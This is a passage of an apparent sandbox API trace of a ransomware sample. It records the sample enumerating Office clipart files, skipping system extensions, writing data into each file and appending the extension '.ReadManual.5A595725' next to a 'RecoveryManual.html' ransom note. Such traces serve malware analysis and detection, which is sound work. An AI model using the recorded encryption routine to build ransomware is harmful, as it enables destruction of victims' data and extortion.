lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.339] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c4e) returned 0x2f0000 [0268.340] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38900872989) returned 1 [0268.340] CloseHandle (hObject=0x184) returned 1 [0268.340] SetSecurityInfo () returned 0x57 [0268.340] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.340] CloseHandle (hObject=0x194) returned 1 [0268.340] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0268.340] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199307.WMF" | out: lpString1="J0199307.WMF") returned="J0199307.WMF" [0268.341] lstrcmpiW (lpString1="J0199307.WMF", lpString2="RecoveryManual.html") returned -1 [0268.341] StrStrIW (lpFirst="J0199307.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.341] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.341] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.342] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" [0268.342] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ReadManual.5A595725" [0268.342] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ReadManual.5A595725") returned 87 [0268.342] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38901081575) returned 1 [0268.343] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf")) returned 0x20 [0268.343] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.344] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=50046) returned 1 [0268.344] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc37e, lpName=0x0) returned 0x184 [0268.344] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.345] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.345] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.347] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.348] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc37e) returned 0x2f0000 [0268.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38901836739) returned 1 [0268.350] CloseHandle (hObject=0x184) returned 1 [0268.350] SetSecurityInfo () returned 0x57 [0268.350] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.350] CloseHandle (hObject=0x194) returned 1 [0268.350] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0268.350] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199423.WMF" | out: lpString1="J0199423.WMF") returned="J0199423.WMF" [0268.350] lstrcmpiW (lpString1="J0199423.WMF", lpString2="RecoveryManual.html") returned -1 [0268.350] StrStrIW (lpFirst="J0199423.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.350] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.350] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.351] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.351] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" [0268.351] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ReadManual.5A595725" [0268.351] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ReadManual.5A595725") returned 87 [0268.351] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38901942086) returned 1 [0268.351] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf")) returned 0x20 [0268.351] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26154) returned 1 [0268.351] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x662a, lpName=0x0) returned 0x184 [0268.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.352] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.354] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.354] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x662a) returned 0x2f0000 [0268.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38902371852) returned 1 [0268.355] CloseHandle (hObject=0x184) returned 1 [0268.355] SetSecurityInfo () returned 0x57 [0268.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.355] CloseHandle (hObject=0x194) returned 1 [0268.355] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0268.355] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199429.WMF" | out: lpString1="J0199429.WMF") returned="J0199429.WMF" [0268.355] lstrcmpiW (lpString1="J0199429.WMF", lpString2="RecoveryManual.html") returned -1 [0268.355] StrStrIW (lpFirst="J0199429.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.355] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.355] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.356] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.356] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" [0268.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ReadManual.5A595725" [0268.356] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ReadManual.5A595725") returned 87 [0268.356] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38902475006) returned 1 [0268.356] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf")) returned 0x20 [0268.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.357] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16676) returned 1 [0268.357] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4124, lpName=0x0) returned 0x184 [0268.357] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.358] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.358] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.359] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.360] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4124) returned 0x2f0000 [0268.360] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.360] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38902873378) returned 1 [0268.360] CloseHandle (hObject=0x184) returned 1 [0268.360] SetSecurityInfo () returned 0x57 [0268.360] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.360] CloseHandle (hObject=0x194) returned 1 [0268.360] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0268.360] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199465.WMF" | out: lpString1="J0199465.WMF") returned="J0199465.WMF" [0268.360] lstrcmpiW (lpString1="J0199465.WMF", lpString2="RecoveryManual.html") returned -1 [0268.360] StrStrIW (lpFirst="J0199465.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.360] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.360] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.361] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.361] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" [0268.361] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ReadManual.5A595725" [0268.361] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.ReadManual.5A595725") returned 87 [0268.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38902979399) returned 1 [0268.361] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf")) returned 0x20 [0268.361] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.362] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5060) returned 1 [0268.362] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c4, lpName=0x0) returned 0x184 [0268.362] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.362] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.362] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.364] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.364] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c4) returned 0x2f0000 [0268.364] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38903308127) returned 1 [0268.364] CloseHandle (hObject=0x184) returned 1 [0268.364] SetSecurityInfo () returned 0x57 [0268.365] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.365] CloseHandle (hObject=0x194) returned 1 [0268.365] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0268.365] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199469.WMF" | out: lpString1="J0199469.WMF") returned="J0199469.WMF" [0268.365] lstrcmpiW (lpString1="J0199469.WMF", lpString2="RecoveryManual.html") returned -1 [0268.365] StrStrIW (lpFirst="J0199469.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.365] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.365] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.365] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" [0268.365] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ReadManual.5A595725" [0268.365] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.ReadManual.5A595725") returned 87 [0268.365] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38903413124) returned 1 [0268.365] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf")) returned 0x20 [0268.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.367] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13756) returned 1 [0268.367] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35bc, lpName=0x0) returned 0x184 [0268.367] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.367] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.367] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.369] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.369] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35bc) returned 0x2f0000 [0268.370] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.370] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38903845022) returned 1 [0268.370] CloseHandle (hObject=0x184) returned 1 [0268.370] SetSecurityInfo () returned 0x57 [0268.370] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.370] CloseHandle (hObject=0x194) returned 1 [0268.370] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0268.370] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199473.WMF" | out: lpString1="J0199473.WMF") returned="J0199473.WMF" [0268.370] lstrcmpiW (lpString1="J0199473.WMF", lpString2="RecoveryManual.html") returned -1 [0268.370] StrStrIW (lpFirst="J0199473.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.370] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.370] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.370] StrCmpIW 